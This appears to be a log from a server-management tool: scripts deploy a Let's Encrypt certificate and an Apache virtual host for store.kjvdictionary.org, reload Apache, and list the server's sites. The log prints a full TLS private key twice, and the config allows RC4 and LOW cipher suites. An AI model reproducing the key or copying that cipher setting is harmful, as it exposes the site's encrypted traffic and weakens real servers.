I08eyjv1IWrxOlaiqzLr+zQMBSkz2+YnGI5rT9ev9eSBhEx0Pd/pbs2h8jYhA13u
UFZgH6yQnavVwfB4/jajqmswcZHXfQtEOwl30LTRlCu1qjl714AYrVJJfr9cas7Q
BrF9m8n0KY5s37ecggxJqxsxvUWjr1Y8Ry5UFtrcEfTuboxnRMRlecCy93QOiNAD
UiPwdVVW29L7H8Q9TV1KfABb1tII6NXoD0JupbmM3T4zM0Chp/f2f85k+JR7hocZ
PXGdxFbhGZQ3Lm5MqdPk130KW33/JrWhW7ZwcRdWuQKBgQDk1e3wyoVGzOwWjVOB
i9ppBEMVr5BpTrc+unLmGjxtffwfWn8bs3vOJn/+SGgiYyXNY6s3vMYdV0J+cKkV
3m/gjJxFe/KcMFk1nKmm54HsItSDhCM9ye9lT9YkHRSZKcRJ8Lru6ZsJXUZ94aCd
bQAPkQEX1Zea9I6Pevor7+UOeQKBgQDQgOVcya+9ntTRFLwD5JX3IHJmAky0pvB6
pxYujK/bcqAT5f3ocVC4okzio/IZLWRz0EmEFCKjRCVWcUbmkVHINErIJhVbVsNH
IOnQF4MBZAhn+BQslpNT+Y2OHqREMCG3uX4vZRdxyJcGdUuybw5aCz1Stmj8Zkx5
cXF13WPN5QKBgGXM8exT/BRyJ3kk6AhSkhhz5/AmyUS/2u9R/Ll25HkFOfssxC0r
nKEqKXiS95iMqQ2FEG9cUHpPDmq3bdEnwnePthmHOXfYXmdmSWbRyM+m8wmK6C6d
vh1A9g/czAQTO5p1OIP+cpUo5KotjMlb61IBfQ4AXFB4CU+1MsQHFcxpAoGAGULE
hw1YYVzQ49PjQ4V6NcqUkY9Nw8VF9VYw9crNs4SbqE2BCZxQ702aiwrZ1fsN5Ioj
ngDigW1MKMDomh6ZDexn8v/KLprAZemy6icvFAgOjKodp5lGmDHv2HwV4r0CGMQ8
aXmR8ZMf2QR0+1VBI9+gulinN40dTslTubfs05ECgYEAq47MCL22/uXVGR/yOd3n
t1QlhYC31P4c/Q4BsWPmqYIIyNfsOQ0QyTYvF1sQrZqGx3HSADkXK4sNvEHa5L8y
Imh/QHuBKxWOBdIrj0VcKa6lqKl/AGFnnRvJP2eL0LWNmbQnaEFabIp8p+AnMgaT
mu/RI447WIZApapy0jAZM6o=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-07 06:00:11: 

chmod 755 /tmp/pkp135922; /tmp/pkp135922; rm /tmp/pkp135922

2026-04-07 06:00:11: 


dir=/etc/ssl/certs


2026-04-07 06:00:11: 

PUT: /tmp/pkp487930

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-07 06:00:11: 

chmod 755 /tmp/pkp487930; /tmp/pkp487930; rm /tmp/pkp487930

2026-04-07 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-07 06:00:11: 

PUT: /tmp/pkp808133

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi


2026-04-07 06:00:11: 

chmod 755 /tmp/pkp808133; /tmp/pkp808133; rm /tmp/pkp808133

2026-04-07 06:00:11: 




2026-04-07 06:00:11: 

PUT: /tmp/pkp973884

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-07 06:00:11: 

chmod 755 /tmp/pkp973884; /tmp/pkp973884; rm /tmp/pkp973884

2026-04-07 06:00:11: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-07 06:00:11: Establishing a connection
2026-04-07 06:00:12: 

PUT: /tmp/pkp851396

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-07 06:00:12: 

chmod 755 /tmp/pkp851396; /tmp/pkp851396; rm /tmp/pkp851396

2026-04-07 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-07 06:00:12: 

PUT: /tmp/pkp662734

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_store_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-07 06:00:12: 

chmod 755 /tmp/pkp662734; /tmp/pkp662734; rm /tmp/pkp662734

2026-04-07 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf	1264

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-07 06:00:12: 

PUT: /tmp/pkp831985

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-07 06:00:12: 

chmod 755 /tmp/pkp831985; /tmp/pkp831985; rm /tmp/pkp831985

2026-04-07 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt	5365
da:a1:ca:70:97:d8:f1:9b:7f:e5:59:36:6b:34:9f:f8

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBYiTtbrzapN84UI/dXvshRlSMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA3MDUwMTM5WhcNMjYwNzA2MDUwMTM4WjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBALphCVDr9INriA/i/qb7EeWFm2NJcgoqJpGItIX5b21Wuphj5F2V
nkRhCFOm7dlPqOM46PiJ01AgwLR4FMhpQ8/yiDwZPrRgPUKRTxU42yplFwbNtCzv
P9Rgr072ZivmzOdPre21XZKGjleUbYVTIVHVVo0i5Tei1v7VhnLx/gS71Tpzq4uQ
69R7T14DHU4mdfer+yMb47hNO4wjF/gEWvjhNTj1My8qwk7HLFZRGODjVz6GBrrB
J9tolSjHs1IDT8R61MsfCxs1/JwehWrCS7zdPO5SRIbl2E//tbCK6G6jsOvZa+qB
4pCeLGRFXeYdkHxC8IlIu/fJ0+mByBJH1z0CAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQs0uKV7C91eCilH9nf/mi1UmXZFTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCIGA1UdEQQbMBmCF3N0b3JlLmtqdmRpY3Rpb25hcnku
b3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvODMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5
AHcAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdZobmkQAABAMA
SDBGAiEAuDzblwyx9CDBRfAkzQzig67hp3PhXUJkyd8NuGuHh4YCIQD4fSbtxZv6
uWyPOqmWtSAVZc15bOkAO2sN94R1srtLfwB+AEavhj07PuWfpXfeqCRdNrDZ7SKi
I/Rhd0EilFLulVBfAAABnWaG51oACAAABQADOWLLBAMARzBFAiA30dIo+xyd/8KP
/crL3TZrIyFheHQoKhGP8H1j2DdSEAIhAKO3ZC+Ivu5wuBKufiz/C732CfSPfKZV
CcC+uH5nmbGoMA0GCSqGSIb3DQEBCwUAA4IBAQBkuWtak8ft3VVrVkWYPrXN8PTg
qD0aa5l7iwQTZUNIiMW27QieTZf8LxqvLrPRPvTDnfNY4a73dyl924zT4b2M3uzX
UPH3Zk0GunIztZUk7x1uMAjqwrvrmEeuu3IlZjW0FP5262WWebkJ3yuohOkOfb31
JBfGeq29BQ8YYADe8xmTzNDn4nLFpHO1ryXIHm3EoFo5UEV47frCKjyStSu025Da
ifXzmCcel1b6hp1b0ljf2UNfW4/nn3Y2jiDWUYTZIA1AvATndh0DdE0TwTF4otVI
EB9XrFVHVXkWX7hS+OddbTbt5s3mvMEd0L8WZ9CHYn6jkXP+XddJ1ca52nx6
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC6YQlQ6/SDa4gP
4v6m+xHlhZtjSXIKKiaRiLSF+W9tVrqYY+RdlZ5EYQhTpu3ZT6jjOOj4idNQIMC0
eBTIaUPP8og8GT60YD1CkU8VONsqZRcGzbQs7z/UYK9O9mYr5sznT63ttV2Sho5X
lG2FUyFR1VaNIuU3otb+1YZy8f4Eu9U6c6uLkOvUe09eAx1OJnX3q/sjG+O4TTuM
Ixf4BFr44TU49TMvKsJOxyxWURjg41c+hga6wSfbaJUox7NSA0/EetTLHwsbNfyc
HoVqwku83TzuUkSG5dhP/7Wwiuhuo7Dr2WvqgeKQnixkRV3mHZB8QvCJSLv3ydPp
gcgSR9c9AgMBAAECggEABrwpckVoi1Q4MTzGb4HMooLqu9KEXrYpuSIbxeie3HBh
I08eyjv1IWrxOlaiqzLr+zQMBSkz2+YnGI5rT9ev9eSBhEx0Pd/pbs2h8jYhA13u
UFZgH6yQnavVwfB4/jajqmswcZHXfQtEOwl30LTRlCu1qjl714AYrVJJfr9cas7Q
BrF9m8n0KY5s37ecggxJqxsxvUWjr1Y8Ry5UFtrcEfTuboxnRMRlecCy93QOiNAD
UiPwdVVW29L7H8Q9TV1KfABb1tII6NXoD0JupbmM3T4zM0Chp/f2f85k+JR7hocZ
PXGdxFbhGZQ3Lm5MqdPk130KW33/JrWhW7ZwcRdWuQKBgQDk1e3wyoVGzOwWjVOB
i9ppBEMVr5BpTrc+unLmGjxtffwfWn8bs3vOJn/+SGgiYyXNY6s3vMYdV0J+cKkV
3m/gjJxFe/KcMFk1nKmm54HsItSDhCM9ye9lT9YkHRSZKcRJ8Lru6ZsJXUZ94aCd
bQAPkQEX1Zea9I6Pevor7+UOeQKBgQDQgOVcya+9ntTRFLwD5JX3IHJmAky0pvB6
pxYujK/bcqAT5f3ocVC4okzio/IZLWRz0EmEFCKjRCVWcUbmkVHINErIJhVbVsNH
IOnQF4MBZAhn+BQslpNT+Y2OHqREMCG3uX4vZRdxyJcGdUuybw5aCz1Stmj8Zkx5
cXF13WPN5QKBgGXM8exT/BRyJ3kk6AhSkhhz5/AmyUS/2u9R/Ll25HkFOfssxC0r
nKEqKXiS95iMqQ2FEG9cUHpPDmq3bdEnwnePthmHOXfYXmdmSWbRyM+m8wmK6C6d
vh1A9g/czAQTO5p1OIP+cpUo5KotjMlb61IBfQ4AXFB4CU+1MsQHFcxpAoGAGULE
hw1YYVzQ49PjQ4V6NcqUkY9Nw8VF9VYw9crNs4SbqE2BCZxQ702aiwrZ1fsN5Ioj
ngDigW1MKMDomh6ZDexn8v/KLprAZemy6icvFAgOjKodp5lGmDHv2HwV4r0CGMQ8
aXmR8ZMf2QR0+1VBI9+gulinN40dTslTubfs05ECgYEAq47MCL22/uXVGR/yOd3n
t1QlhYC31P4c/Q4BsWPmqYIIyNfsOQ0QyTYvF1sQrZqGx3HSADkXK4sNvEHa5L8y
Imh/QHuBKxWOBdIrj0VcKa6lqKl/AGFnnRvJP2eL0LWNmbQnaEFabIp8p+AnMgaT
mu/RI447WIZApapy0jAZM6o=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
